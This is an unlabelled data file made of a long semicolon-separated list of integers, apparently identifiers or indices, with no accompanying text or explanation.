54358;104428;71090;49391;72723;39708;100331;26128;23866;31539;95038;105036;20466;44200;30671;28170;71726;40695;10746;28175;63639;82978;59501;26687;49459;36490;27469;102297;71269;41884;71113;95487;27329;25071;68005;93887;60218;82224;18651;80878;103388;80249;44940;47605;45687;102698;24213;67815;40419;34339;73223;50022;80057;64301;25220;41189;12887;72462;106904;30492;57933;90545;17795;68714;26532;92092;55658;20173;27191;38820;62804;102071;31070;95701;65875;92853;80458;102979;96854;46890;51198;15144;79166;10256;12008;106937;58999;15077;67354;73156;42646;94098;53352;26275;42619;74921;104064;55845;86044;32821;13862;44411;11378;57158;40985;80402;53777;91764;82090;22123;70587;72600;64309;63738;71377;72282;102380;39414;38432;86945;12773;100789;18825;86789;12750;76423;65679;71292;74253;58316;85020;33249;103682;39127;59812;41288;55539;75201;34212;73799;66890;88818;66397;30998;97120;75130;92249;57548;65116;29542;52162;13535;22541;89658;65010;102492;76529;17093;90295;24143;77921;83613;22201;24502;47482;28451;102348;18125;79402;85063;95035;86005;97459;30906;72147;99981;17032;71704;85098;17702;49453;56675;84685;23310;11865;11479;25969;10110;87566;97994;82730;78852;75056;59642;92340;105432;70660;42945;74787;26241;82693;26239;22689;30295;45108;70340;34749;52988;57761;28253;97555;28086;25362;66499;85669;71931;68661;24687;49847;51801;94295;68571;79074;73917;44735;69701;104149;56176;95336;35780;94937;87030;43790;46745;69130;55040;96980;57243;35198;55402;102021;104247;12081;33442;77583;76385;13067;61028;41007;49478;91957;87590;60763;76596;83968;26125;34619;86448;31578;62663;84571;106945;41073;48726;53844;93221;79584;36577;67791;66158;31846;79588;17560;29612;30585;11679;73554;11328;103719;27752;14879;82803;65708;85161;78477;16619;37591;40403;77484;67369;83135;27601;91574;31222;27033;31613;34423;17264;67764;28946;84919;24325;41343;87247;62286;82580;35551;103844;89707;58956;28483;27331;56053;64746;12043;21268;45039;16719;52940;43011;95669;72010;44939;94535;43738;20977;11894;39972;99987;33363;38837;29740;35057;12549;76845;25336;105581;63455;57700;45595;52642;77503;60660;78990;24481;103905;104126;105427;83879;62866;90204;75648;83118;27176;89459;50207;70643;28612;80164;95388;79537;79485;87027;96681;38330;39467;88696;57240;34356;75931;61364;64674;17219;77256;76966;58655;101981;63019;53442;17696;55811;85204;60333;46778;48433;61833;58074;30831;40246;28969;12901;55953;96567;60661;61915;95821;66709;71411;31142;66411;27770;50907;20430;54989;90515;40885;39985;36507;50850;77658;57527;18740;77551;16717;90409;32328;53003;28120;104021;14128;50443;54068;57212;53274;14691;76194;32434;101951;44309;63512;29502;44086;64913;69242;105984;55675;97728;65144;23229;68124;22360;11696;15827;90238;47404;64638;84368;105552;25484;94031;54246;49336;34412;25365;85385;33593;73886;20298;34646;41244;74024;26169;63352;80193;42829;70259;99134;72177;31941;28734;90918;102601;72126;78175;66386;64478;55014;37473;25008;74647;71724;84290;94783;41800;30884;32555;31588;80012;70345;49725;77496;57355;95375;57279;104873;103414;12740;11761;48786;72879;54067;60776;14656;11271;47162;40060;12979;33987;49840;95639;72755;37238;36943;89745;72739;58218;59961;27019;95469;68060;50691;45474;73783;52628;25619;74245;72111;30126;42678;32861;28375;31878;104629;90500;61340;60765;87967;19208;41320;39618;57029;16183;44657;26988;80013;80209;55740;55230;20579;101911;84328;90415;25214;70628;13173;43934;25656;92821;47762;19198;16029;95666;22908;57684;97078;16990;49458;99168;102948;59806;47411;69732;30739;90707;74514;38469;45249;33474;106317;64220;53199;99130;71028;79218;56317;23137;100901;31206;99352;97808;72033;37157;27638;50744;17764;72530;45986;74690;50485;32454;74840;17491;101642;42511;88016;92836;67722;66507;96505;95573;61500;47412;99711;33197;89389;54010;27928;50860;75014;23716;54614;104991;87632;45761;13417;46299;25721;15852;50499;32217;71202;83281;91804;39652;27096;11867;16162;50336;39687;42388;15566;36644;78550;75996;36140;42234;39200;96000;75569;106249;58968;63005;102446;31458;29429;66994;66337;93318;88779;87363;20365;39699;23158;57273;92118;103081;25385;50085;50895;35824;11502;106103;79568;95325;62782;85306;29142;97609;99412;62270;105000;30718;22448;32277;41531;25267;58734;66388;13524;18688;24273;67546;93431;97340;11054;93869;77541;62881;103352;14235;30881;99876;59615;36219;106714;41918;83403;31336;92944;26964;26104;34730;11406;84701;78197;97084;41931;53845;95406;33901;41715;77712;84603;97683;57306;54593;56626;31268;47212;104909;74716;80266;71723;24910;89456;53946;49832;93272;26996;80094;71824;36964;33903;37378;27043;93405;47825;29596;77843;60581;67506;70505;101751;22386;92681;64141;80727;35344;50129;74995;62631;14903;83645;84376;32921;49903;80718;56621;24986;21638;24594;66987;39436;24023;27083;33375;94219;40563;94985;41983;62029;33861;21894;62794;94256;52545;37783;16104;101490;96871;13541;74466;34095;40950;51018;59564;28103;91665;48286;83454;85691;78409;106359;43714;63647;41273;27619;50390;93277;21281;19343;71316;73110;13221;99146;25936;53961;46775;90556;69592;29041;90176;76331;27976;44932;85467;101294;100667;71055;53053;12921;12767;12355;34471;54307;84043;25577;67810;105360;55692;19772;65067;27895;36832;81058;100405;58450;11114;23402;106226;82613;60050;30657;22378;86531;31669;95290;85209;76225;33457;42970;74505;85174;36058;27508;12012;65609;50467;97009;12729;102604;42474;97825;87618;84473;58742;23909;93880;80375;13625;105182;32010;20021;77394;78190;11392;97248;50515;31064;23458;37946;67704;76537;30774;61276;66538;68713;17769;73610;60359;12444;79449;200094;40096;23843;25677;32181;31111;71283;99215;70948;56833;31172;32244;42476;23461;22775;10675;68968;34958;26543;26292;15748;99579;80635;82732;14819;94870;34866;46009;107019;94726;73936;26775;22459;82606;55387;22128;67674;45490;50833;37521;99267;23433;23794;107138;61739;34934;47050;86844;94704;101699;25844;35187;47092;20458;102326;63388;91726;20978;86071;61779;53125;48610;11601;106097;37120;79861;62491;89352;55412;99026;54485;40258;13484;14200;36468;68402;86374;49000;91734;52398;10483;66671;25867;101874;65467;79288;35812;54102;50734;81801;68462;43863;89222;97000;44891;81390;103786;69085;45771;30996;73443;59082;54200;34854;10006;97725;36145;89772;29210;56807;38365;33106;23446;200018;62796;80519;36144;56308;15536;43940;81398;48637;87403;18668;89061;62198;29379;56250;62521;69339;104469;71792;26206;93350;74149;79070;21013;46955;75886;68153;84404;56796;83718;12344;40623;60860;73756;86417;45542;17525;83910;89449;80996;43962;34985;27971;79713;37994;95825;34121;73740;89550;100739;87075;105004;106566;57639;93811;73859;94685;33822;44089;68687;54317;35590;72266;103767;12371;32205;15097;44783;74255;103635;104448;25848;95712;106391;59835;78663;89370;43371;30050;55757;57379;80593;94687;38352;28794;87529;41356;31484;17121;58871;90579;14698;81515;75715;23305;104373;53608;85043;41502;18441;31343;68855;102544;70276;93783;81715;13676;60801;38376;30814;83612;53669;60543;12447;105511;75367;65644;51501;90683;34332;51733;60620;107058;79297;45926;18328;92683;85640;96326;35749;20489;27118;95319;22312;82102;33995;63614;91666;68480;57487;31569;24937;50105;12788;37029;104446;61629;99658;81996;26576;35861;64293;23747;40843;10904;26359;85952;29099;25770;71514;18784;64115;12108;17198;61649;40748;26813;77803;17638;17140;36641;73563;63425;67932;105954;102267;82496;19286;70689;81655;21025;74829;15869;101657;52737;43689;102394;41889;11191;73095;79691;60807;59325;102298;46552;20380;67863;102295;51935;77974;75535;94623;29869;80500;34413;84945;66724;107050;74598;16331;18039;58210;14772;83086;69691;49970;90595;23374;38706;36780;53968;99771;18647;32806;10914;104039;103505;11137;75667;10934;63250;22767;44338;92789;33625;51984;101295;13250;35779;20455;60875;32343;15357;49066;27946;10938;46439;99439;63348;87040;59853;60163;45395;86972;91386;56717;51648;81340;26906;104345;72971;106591;23892;11453;105137;73704;34566;94744;31280;105265;84622;42758;34524;19004;106520;13292;72060;34678;35333;48268;48809;87823;99489;57892;52631;29680;34960;36653;31806;20137;55360;53501;14525;14446;88805;83397;31636;10079;41739;40541;12888;15670;18717;83260;34211;33259;33354;36297;69856;81753;103330;59000;75049;89040;30395;80846;74261;73819;13733;53263;13203;105196;46233;14073;47292;56598;80951;69148;14171;48390;77546;91647;14641;27163;67953;24581;82893;106530;23038;77312;91137;27626;34049;95732;74052;47030;71869;70803;36606;59769;28459;28341;84020;52368;72203;73502;57993;90659;48475;94151;16393;102822;37396;66714;51836;35349;74958;64823;12663;70832;52536;64630;13242;63901;89968;76560;10728;45219;21022;54368;54785;60255;67118;20469;40873;76542;97473;105798;45442;28629;82525;55029;31960;18891;90965;44426;89748;53623;46264;40736;54319;76167;80630;106052;57159;74589;19538;71581;67181;93473;100502;15698;95612;45374;96677;93346;48998;23797;96359;86223;38806;44841;52710;32790;20643;105175;12885;80955;43644;44478;67158;10901;56968;94573;68247;82344;67316;88872;56041;73175;93944;45445;106257;79585;93686;59162;32754;100567;11106;34632;36670;71383;34116;19507;31890;92757;53590;101754;53559;32824;28977;90753;64858;71805;93564;89567;85448;45010;61123;79502;91147;15656;32121;56329;99628;99870;28252;26487;94161;13746;14187;85005;85798;73631;53437;44184;28764;30421;91565;40146;65635;30107;36439;37531;49876;106900;86901;73531;53657;40782;14138;97637;39775;55389;19464;27114;27630;12552;45371;78095;100947;97450;16730;18951;18176;104939;90399;43169;71852;45475;72681;80609;73270;24448;69796;40341;26048;54318;83584;44419;21400;69698;53889;64754;35553;94269;26577;74199;47525;14400;75847;96548;13850;45049;32288;43906;13287;15890;59072;23190;80129;56788;101476;40468;96464;61073;84648;54284;43563;20222;97618;88713;28208;11646;73750;63175;43447;105761;25498;16737;84011;41332;23203;94770;90541;11530;83208;87174;99437;40280;62924;103891;28905;70020;78068;42066;72077;50718;43585;17739;37406;17654;96873;84182;104834;89627;89948;65160;59810;58843;86234;79706;17003;48391;87434;99484;88024;22873;97371;10439;71258;70262;38963;52176;91008;45563;17055;12210;29554;13209;25131;76627;45408;12869;10402;13670;35145;94505;38179;103491;103609;56999;27074;32453;44561;100982;24746;83629;39808;48872;40259;24572;15092;35835;40719;78827;50070;95453;20060;68019;74104;50432;78063;85287;74288;105916;104263;34395;20864;62856;101654;65801;84654;76376;77797;68988;45429;75474;20759;15641;35614;105013;91352;54403;92863;96685;10564;25657;32282;73130;77432;63032;37225;66697;63824;34647;13800;78949;64093;19118;97633;97828;87861;101569;71414;35421;17009;18971;79221;60451;51713;54015;43270;43534;77206;55922;74868;73140;47021;61426;95449;50158;34573;103369;52222;39201;40744;57068;44751;13283;32074;88874;86807;17147;30577;59471;59967;106242;86715;68294;58694;67900;88561;69060;74701;86149;74810;52999;38740;51429;89744;91407;15245;27380;49770;48835;42773;17467;92255;41613;27445;41452;41263;94084;37101;44395;26972;10374;51729;200096;47499;33635;83302;99179;89843;66196;80720;77073;57924;92563;76289;50985;48940;43822;94346;84826;48919;29631;67798;97759;45759;95426;34439;71502;97353;44390;13476;42092;36174;51290;58992;49650;91550;28507;64629;82537;76245;83828;58182;100671;19129;72674;82510;21456;56358;49967;90290;69608;97074;69636;48481;95727;83527;64951;26501;61423;78541;94217;93256;92553;56209;35794;43543;32262;71051;76934;63289;56474;48256;71842;72167;91139;66336;37719;95482;97983;88087;75368;72688;52871;47624;94072;35748;20209;73932;12515;55294;54156;105756;66785;90065;44623;80120;15976;102427;47787;85333;61782;86474;55543;29341;26834;96672;77105;68886;64681;24649;35267;57533;41516;57555;58633;89839;44215;22883;93098;82083;38470;28660;75788;79027;75301;107092;20546;33214;103688;85786;79105;85553;45068;29538;15662;58459;92774;68888;16746;78606;36501;74712;99670;94833;86390;92893;76863;55382;39583;26189;88780;103154;85665;77373;90132;22715;87827;83588;43149;104798;23635;19777;59857;105081;52411;41890;12786;87828;72921;59689;65161;60915;71367;83445;101139;10400;65194;15104;34469;33440;106918;23699;40379;92819;17207;77225;91564;60166;22327;61443;93264;76393;75181;15689;19831;73134;76219;32752;86276;27180;85857;22660;84154;76510;18845;17122;14907;95772;103290;45627;80866;48651;84220;33852;69204;24176;54136;105142;12657;56954;72204;22064;61395;34857;41201;92643;23523;13422;74581;52747;104679;36908;60544;70002;29236;20655;75523;41011;101880;64040;84637;55875;44669;31430;27795;61438;50792;69369;73549;73659;77605;100790;43661;28109;69872;84533;100100;52026;72890;83031;35752;32264;60644;66615;31633;85452;84625;76519;70010;59079;88795;83338;22697;88683;200036;83505;48260;58453;106951;59206;84989;62871;44509;39062;79254;66958;101882;61874;90951;80689;97714;20878;88064;102931;57303;44591;23882;59990;39401;85377;103753;26297;95362;90125;21508;53185;60853;17616;19973;47475;18046;41786;41761;75874;89864;67589;21848;45540;24466;91961;67371;101878;86850;20677;43082;58916;23188;80657;105195;77303;81590;103508;15042;43473;100178;31102;93270;40277;91076;93680;102509;102183;29125;63596;90214;32057;70512;53406;50496;73291;13265;47036;89724;92564;39197;48531;103380;14079;10282;38878;30374;80697;60271;36801;49892;30980;85194;97895;19540;10214;35606;60829;56484;11614;42399;10133;21577;59508;13232;24897;49779;76457;25026;36969;30695;64412;78272;96730;43945;32848;74901;76568;51176;70278;86243;16207;34054;73179;69371;103282;15861;56907;33594;82708;104379;29882;10614;83157;24936;71184;53785;12637;25655;90734;36738;93809;87985;92019;87352;95435;33224;11562;39714;29453;75207;26657;66548;48202;72922;20432;70910;96885;99315;89752;25106;28750;87586;91289;95276;74805;200142;61504;54482;63541;67724;54138;13282;20801;22491;44805;44060;60519;89156;83146;23791;10522;55010;87746;44702;89488;66435;35067;26472;17399;62812;42597;54960;37680;14896;30882;81934;101962;55297;65685;64737;43069;20694;107024;54191;31012;43877;24222;33505;27697;61019;90479;47794;81407;52185;26874;36195;101684;66893;72163;60766;42729;12760;74908;96908;55566;68980;58428;27092;23145;54975;46483;83568;76237;15466;44921;36963;76124;89195;28035;67174;20764;31401;66663;22215;46527;68321;105390;50099;73092;90755;49693;45667;28659;19214;106844;36497;74117;89435;77862;22412;43300;94073;21866;80954;15955;18986;100531;65604;76302;89252;23846;38321;12891;25084;83996;35236;30290;77418;54561;77728;50697;93372;15619;73151;39664;58334;71547;105403;46991;87263;92030;86833;95538;67996;34737;78277;52848;57220;64959;78130;17821;38200;16398;57003;51029;77014;52713;97556;45755;60468;72419;39192;20850;104360;53960;61323;102715;56285;41653;88951;19928;57107;50156;48881;37610;84090;92103;20288;41937;32745;41043;92644;55284;73920;23122;64023;18396;105215;95969;55340;90015;35951;81067;52661;56950;11306;91872;29302;88534;29027;11284;10310;103681;103000;55468;14066;85994;61633;54514;33652;77878;65060;15093;92604;92629;92894;50160;25847;80434;73025;71896;60751;101758;34380;49413;44510;28576;47522;103675;15713;10565;94591;33778;74954;74602;97442;27205;28355;14843;90282;50933;107087;57647;35116;65126;41614;65112;44545;63481;36890;25634;56953;60122;26188;94817;85827;49594;46662;42458;56240;101242;97943;87732;64046;59408;37509;63305;39745;69259;37304;31250;30680;44542;92524;46033;17007;22454;11199;72572;56467;90650;30302;71612;37022;57855;86444;62341;12922;66555;34532;35261;48337;73621;57428;81833;91859;101301;43608;47461;91789;74184;59860;46499;105686;106019;105825;62184;60289;16731;34976;47028;61182;19913;58713;90806;45969;60610;10207;51573;104284;43387;44764;81554;78279;60412;22816;103216;89509;89368;56952;99664;85353;43491;70881;48257;54212;49935;31792;50384;66390;40693;41265;75038;81445;90478;99045;104028;62884;101068;56677;19410;68325;106988;44217;30000;79203;32753;59057;97145;105539;97293;16156;78584;11616;23372;105509;67430;36601;66814;25716;65353;17090;36518;70057;69359;39608;91507;41680;13453;36093;72416;34407;60219;100495;24901;55300;14724;97429;79791;33973;45411;97693;15862;66572;93162;33497;42086;43152;49050;52306;200025;58997;86213;56266;103496;31818;52852;77130;78615;26392;51918;43060;81810;64535;61602;80528;45816;29071;85259;53449;17408;90904;84518;67517;57655;46007;60382;85112;96206;31417;55299;43437;29411;17541;19008;83210;86514;85799;59134;45710;76752;61119;31296;36231;102718;54783;93306;70766;99955;35016;85454;43565;23816;67502;87446;74706;44951;23184;17010;47728;40183;88736;81252;93428;33521;91579;23595;28578;51434;48295;46939;33879;44023;37486;107039;85557;37344;58341;100215;26676;51924;61750;22669;14616;39580;34326;68119;103594;67144;68499;76638;40962;49485;68112;26278;29084;63520;34606;33173;44505;102581;67838;46501;28148;42930;83945;35352;90390;104264;57080;31725;83630;78943;53371;101652;94923;88108;35785;50299;106665;70985;45262;102661;16832;51351;87176;80373;40687;22394;75985;77846;78978;87887;78137;69997;27909;54943;55504;72316;20874;66577;80217;90258;46556;83491;101221;66936;52895;68169;86506;93747;97328;24643;78319;49534;96301;39429;62859;97198;71595;55744;47363;87267;75920;40056;57850;33098;94664;83488;82062;92320;73694;90689;69180;55793;103916;54730;84224;34732;89208;102927;81548;24286;29489;97375;76082;29248;13290;86048;29683;12047;92291;53076;90054;29910;22515;81670;21839;63725;41350;200067;35725;60161;38075;31452;40021;20752;22587;99262;13252;60968;106024;57325;50439;81825;104416;77350;55904;106318;41813;29443;52594;81939;22893;82802;103135;56415;34609;75724;36409;21933;28028;34029;73916;103697;80647;59177;17162;51892;56522;37348;18760;79442;74132;86936;104002;10928;97231;49785;34764;101919;47202;59309;13471;44153;13368;60677;28330;47015;38499;28112;99245;86830;36948;99678;59914;35177;59055;62217;95275;60157;13890;51889;78310;45853;97601;42078;64576;68407;200076;14132;14872;92221;17275;38907;30358;82899;78637;36063;50284;77855;75186;16425;43826;58740;29818;92209;42493;105393;21734;41790;46435;91878;91010;71446;99621;91644;54226;15563;32079;45854;16668;88941;19748;18573;74516;94980;75208;89634;66308;29981;60182;26268;29475;97653;23894;105884;73674;77386;21175;48646;83132;50788;103376;76268;49393;29682;24191;85304;40370;40440;20471;68537;27896;50291;45636;38222;26165;16927;104713;67969;43076;19104;93831;39644;107086;52892;86308;23592;99287;42492;92507;72830;66148;93879;93828;99603;50608;28502;63294;96389;18099;70200;84190;19993;103985;36694;25144;87417;52571;22238;86671;56991;94342;57920;38461;61165;90971;90542;87160;64797;68097;104564;47557;51577;44210;69394;47217;34862;28882;76759;79208;72260;74817;46035;31246;41168;23394;83068;43416;36764;44975;12647;50793;96436;59558;51109;84107;42259;26853;45705;20919;37772;87683;73609;99663;51072;40492;83667;46450;95587;81707;45051;48542;104137;103781;61512;13659;61774;91319;29716;45932;91058;22330;14109;26763;100638;91853;101508;12335;45406;80118;12225;25754;35621;39759;65370;75903;70833;79298;19488;56810;10613;86956;16064;106541;103814;17787;64223;88002;62300;61738;20502;103336;22389;30124;53272;20873;21541;77813;64619;48278;11088;61752;70627;41555;39382;72494;87960;54752;22372;24875;12601;81898;53270;99494;83886;91003;21153;105668;11844;91876;51982;80328;33956;27864;86090;62206;22264;22593;13446;10627;94246;77021;56992;76045;70790;69025;25337;14740;47243;32344;36608;52161;68656;77932;37979;59066;102385;82724;81191;33977;93290;90063;21622;91743;22679;46237;76192;81622;94741;67040;37346;43050;22331;46583;96447;23925;15336;23605;74350;106493;53235;84111;84554;77209;28976;56772;75773;14462;27724;24280;67548;101731;22039;26732;24864;42318;65880;10676;74496;83202;91467;20729;20169;45590;103978;19455;80789;69891;16401;107144;73691;86505;85415;45430;63023;11413;41326;12765;78162;51533;92253;56297;46839;70355;42839;75121;80140;106246;45098;74834;101314;33820;83266;15351;33110;42505;11035;10956;65967;18012;99200;97481;48417;89308;76314;26796;38260;89734;66325;50211;63602;56125;32407;39104;27143;83649;66174;86344;86268;43213;60541;27718;38678;25879;68223;100540;59106;68833;10300;68364;94944;11411;103600;11901;76984;54265;30431;79592;103020;33504;106478;95555;21697;76616;14962;58717;85208;68098;42157;84565;29285;71570;97269;15228;40750;77067;73045;72807;97290;37418;67321;80309;31227;86464;93451;10554;28425;44127;80426;60114;56233;20597;96603;58061;15723;20581;33894;12991;23076;11565;22853;54882;70935;106061;75252;53336;83259;15300;32788;65800;86534;43592;91573;97835;100412;72430;60821;44226;34363;85162;71585;70257;74106;46913;20741;71508;52663;59777;69272;29137;11897;75650;81246;11202;73132;80227;18182;33829;102973;40597;24621;52777;40369;55477;93488;79491;12577;25858;48471;33654;40374;104693;66569;22599;29460;79305;86561;25211;14475;65237;10260;56964;69342;64979;86429;73469;13069;82484;87114;99107;36663;99959;75989;12680;66944;18413;62174;56705;22777;97440;17306;66111;55983;97324;99594;39684;50923;45491;13517;68365;77372;104196;97941;62260;32741;70378;74565;16278;95012;63539;68265;77687;44746;30059;70320;88671;85281;34025;16160;15974;37212;105463;106895;53327;73949;14315;73215;61787;12684;42260;18872;103312;100127;10666;13931;46898;46424;45576;64628;68307;23714;102797;73143;10976;21900;102528;21094;19397;26623;26452;71274;27077;26759;50615;21958;63029;58695;43777;92843;37284;92602;68852;20468;103788;21411;77770;81409;53795;33873;67185;25623;61863;52457;70215;57688;37902;67913;46130;32155;85417;102522;61612;20416;57016;91539;73679;11900;24623;16933;19260;54025;44221;55661;91506;43866;32219;39531;35085;86489;57026;94497;25796;17014;74409;42091;23670;101916;47613;31195;101963;72628;104280;104383;39028;15387;93772;28315;33524;60865;26790;73768;97317;23772;77981;63729;14416;66422;93029;57488;46941;45261;42522;82766;103140;25223;16808;58629;103942;97991;103297;101108;19028;46016;68492;51023;75250;77494;48465;57460;106087;65147;59994;77056;65677;102597;32865;94195;53099;19257;34527;45359;61964;21242;25440;39614;40933;75058;15589;70343;57255;25647;26242;79021;95521;65259;73963;16633;56826;46203;19124;86330;21526;70295;34829;79204;60035;88594;72422;70346;105229;50277;18765;52543;78024;85228;49721;78206;102982;43748;34411;17062;26544;95265;49621;36727;30580;90513;102338;15432;65657;43506;97598;94030;59962;49742;92739;105964;80133;46520;35879;55431;11666;100001;70065;94680;43652;102134;92523;91547;69459;83352;73174;24837;79034;17981;13880;26660;23632;75399;77719;83152;58153;60753;96919;101649;71915;30461;26020;87520;103502;37943;45018;93764;99548;76601;69995;102606;102752;53956;47417;23391;30046;104225;19951;71428;52925;95467;55781;39628;80206;66708;85853;101701;59722;58976;11293;66501;49360;63062;99586;87106;103368;78519;44558;24668;14333;42671;92772;49993;81610;66744;55061;49228;69028;60591;60268;26921;21890;73178;38772;70349;64381;37067;66618;96269;76427;35089;69577;36082;59160;32213;59844;74924;47662;16796;96459;83421;46923;49765;22596;46617;105286;49256;68427;104637;72055;80712;58352;17313;101573;78507;25069;85153;95046;73435;37799;42901;18632;31938;24210;90000;94266;89579;53555;44710;29920;70961;55633;66611;39520;28498;63071;101574;89275;74201;29751;105544;23230;21356;10609;30716;88959;15996;38901;31765;20645;103567;46883;57182;93827;70412;11443;41678;36845;29913;89326;57252;86463;64276;13144;81196;20357;21451;97223;60849;75147;63607;67602;61851;47421;24135;95628;67947;21807;85532;96974;67553;100712;36977;14046;38807;61912;50414;75857;13248;77805;70074;28820;95989;23723;59968;73649;100591;73848;23704;29753;14432;84645;20101;91688;35743;79771;97326;84472;70969;27410;81430;67584;63361;32581;104295;81791;57715;22836;39102;78041;42974;10769;91237;35159;30892;88882;88718;71323;58452;17782;30216;93534;34623;64636;48647;35837;77313;31531;54883;20363;43254;30312;16309;104833;57183;20460;105449;74109;62133;69811;43044;48569;101424;62797;93126;104276;41026;43775;28991;65792;14455;48722;76064;14307;83978;81508;89305;55611;18638;89878;41742;67152;69868;90823;89972;32696;85473;10721;46870;69544;47247;36570;44141;18985;79069;29581;58692;38362;20377;51569;68299;47812;39415;21579;51854;62635;13682;34346;28181;105466;94115;76989;59222;102261;81201;76997;35930;102779;55260;64963;20119;42378;44853;49461;92807;85305;71537;104966;53713;92585;19485;92264;47328;102909;68154;30441;21067;60575;63959;40850;90557;61422;52880;48942;86027;65637;22719;28296;58224;74942;83894;52573;103434;84457;103145;88380;90520;39417;12429;72112;42039;13383;52317;31249;28278;86000;74988;78731;22900;74270;78362;62202;78950;57439;12031;62757;62986;76802;80931;17075;63636;14273;45322;96615;86499;46301;106948;44987;69440;76976;49353;93742;37249;97513;87750;15159;54046;32511;60759;51306;40266;47547;63022;38510;13195;78401;14862;73245;84939;32926;56443;96008;29592;69072;76515;61184;83249;83353;61037;18108;100183;104922;104095;39877;61038;26345;62989;25105;23601;59246;51589;16351;77414;46111;52076;33856;31512;88453;47699;18242;23586;34092;84815;94208;50419;61150;93423;20260;63472;10581;83182;38804;70142;60465;53817;94515;64914;69101;45465;62572;71056;92664;52989;48168;97452;73415;55668;24548;17970;74411;93354;84077;18121;73153;24712;77122;96645;22735;38040;62563;39529;18403;16960;28487;75012;47471;87913;87947;68441;83306;82129;96286;22498;31418;200137;22479;90191;90590;24878;60322;13984;105548;63155;100260;71889;95610;34107;67626;86654;103445;45700;86337;52518;66159;83733;32401;65435;77135;76146;76922;33567;59050;62956;68645;67156;69467;105282;71065;45260;37730;40014;60809;54595;30793;13345;66306;53464;103738;47138;70752;81974;70641;54003;105163;87703;60101;76961;95506;95036;28403;94634;105571;92440;73380;45751;41560;66955;18723;83916;16312;106028;45719;32995;29174;73321;64563;16158;89083;34641;100548;29791;80760;48313;51383;82277;101773;39788;40980;76311;104871;15990;87984;19195;100053;48228;33331;104703;81247;14617;36399;48366;56569;20369;81073;19256;23977;28226;95668;89321;18258;90916;42470;59343;57515;75265;73171;16241;90811;15049;84348;35881;26395;62793;90222;88525;41522;35229;88821;46191;45101;33812;20780;21827;90199;67552;17463;21445;15262;91877;101333;106373;90567;96217;87994;69173;75786;78426;78117;12366;18146;24125;76731;60453;25889;59933;69344;17351;61480;45053;64212;84135;12606;86256;60587;88680;97704;101162;27427;42820;49615;49495;99180;93900;101775;96340;99982;93164;61003;23970;25175;16040;87297;76092;54057;67680;73738;71385;85535;40634;44712;25283;87807;68465;56972;11264;44592;76474;60607;78513;61799;52739;75755;12434;33468;49953;53040;51914;29204;26553;83546;35207;83137;63904;61555;65180;62283;77595;24235;16897;68080;26941;62240;29889;88722;31189;72803;11341;56146;47257;33542;75994;67448;89802;71177;46139;105281;21775;58728;62104;61223;67916;33095;96121;19646;79332;74869;47449;32385;100898;86083;70048;79862;33759;106038;62038;56736;32368;32102;42651;34793;18476;85488;19904;70090;38561;44429;103710;39737;70483;76962;15287;12840;11917;96753;64048;93335;19891;97557;43280;96080;106079;82110;62405;97678;47251;29840;32249;30811;23125;20582;74857;86160;65425;34533;30584;76770;55775;69519;67110;27026;96803;58496;29863;99740;19362;53691;22591;90310;54353;38355;51162;84661;35287;65120;103033;76044;53787;78850;51177;21507;46123;60204;88113;44902;24686;33689;27282;49234;86743;68439;11382;104975;25126;67451;75036;37485;12540;11876;89595;42716;47062;101292;32749;22188;56024;56416;25356;24239;65876;88889;15509;72173;43354;17282;23500;72410;18330;13352;84133;46488;57103;85932;39557;106072;67920;39573;30935;97201;76344;103483;47444;42661;99769;50510;38584;66855;62173;90259;69142;39927;105832;32827;29317;67112;66754;35746;17570;16786;83731;79325;43669;30714;13154;88597;93077;101318;41395;12764;18880;47746;100068;51603;93167;92823;85494;19569;75638;76065;81849;60121;54789;41759;61096;92258;77445;27636;42498;83846;35317;83529;12687;32104;94079;31015;93852;75045;60985;56577;51080;88486;24564;52938;46992;103797;34614;93044;72168;77962;42727;75562;87986;60631;58400;20240;54617;49482;85804;78221;91677;41712;10768;26715;59996;61467;86007;51395;101853;88614;49982;76229;18961;22333;15023;86327;44403;47739;56236;71015;27051;23963;54798;78679;103653;83888;63264;31620;71688;72153;11498;80691;68512;40854;29668;34073;71892;46165;93762;97257;43979;56549;71025;32736;75842;10303;56010;59110;48363;84085;34404;84322;106402;36592;22486;56896;54348;103454;88005;43840;21166;64780;33094;95489;13679;74147;90147;90439;18645;18029;91227;49856;74269;66679;61596;41369;66718;82679;66399;29474;49126;22269;71921;30704;58416;101226;75898;62101;69751;94952;39892;71128;89324;39918;76363;64369;64251;31837;57827;10046;67779;43908;58389;75601;79902;74807;90403;68231;19114;47543;101274;50256;11878;86983;53482;101921;64751;52062;97833;19199;54363;51102;63236;52498;104649;44377;72142;91412;29700;40494;13028;36618;41071;27699;105254;69109;33799;80355;36842;37602;20259;43716;16175;93727;63147;16405;104506;51233;31726;58930;46831;93482;99076;90813;30570;28040;27459;66506;62457;79938;40184;85859;88715;33330;30316;16484;52986;52637;102868;22446;105187;42250;27585;78961;16444;34244;61077;77710;96480;10148;74804;23792;18749;59287;24033;65359;55605;27678;24134;85657;88550;45662;68547;53547;17327;79457;105402;44874;80232;47339;77664;68611;104847;78562;86146;102066;52106;10983;35595;48619;30595;13349;83173;37781;101995;62310;48644;48843;103878;69043;31129;97337;97320;76808;19716;18595;48500;36280;88763;49421;84057;14309;68588;85061;52337;89938;18058;31272;25472;54040;13008;22982;95315;105852;100050;11087;71264;38917;69645;59253;19098;74315;49140;25329;11560;65042;25914;96850;93838;50790;34812;14031;81882;26664;79110;19311;76349;16443;56292;65222;11044;42400;31040;77044;48663;33795;25865;70073;43946;81059;24148;97089;30384;79231;84225;30575;58487;32666;19854;46832;85131;21039;11946;82104;21767;56047;97319;69981;87151;69651;74162;93647;50429;58748;66952;88827;51367;72290;31128;77352;14863;44271;94572;12305;78098;20890;35862;41076;200043;24835;69604;75003;61346;42893;78828;46492;75112;79565;31929;35598;41341;28371;102835;104897;36808;69182;95999;21815;89991;65656;97289;35564;53195;55181;44493;27115;78642;73623;89984;82154;74146;43987;41382;22986;78523;56227;30765;61708;87167;25058;101622;11704;86409;37951;40401;65925;29244;105534;83084;96230;60369;52483;34079;14330;33268;43799;30754;99364;27892;61824;50239;17205;89793;87262;39342;72795;41973;41379;80243;95730;39444;37398;62721;32006;53953;68950;106040;24348;30812;45125;84630;52150;29029;102883;52312;66827;17028;27596;39162;20710;34071;25644;17827;55500;53602;103652;33281;102701;80400;74990;64745;66924;15043;22583;63134;58745;97399;19054;62686;90917;101592;91934;21471;52246;54173;27730;54254;100158;92343;65340;76206;26171;79521;20626;39904;67525;93704;81025;76001;52668;20826;94728;25422;49818;16268;90370;61430;69993;57966;71976;26950;80556;104601;54858;12933;78718;16577;21315;78495;32130;85008;76840;81792;66741;78618;89470;44771;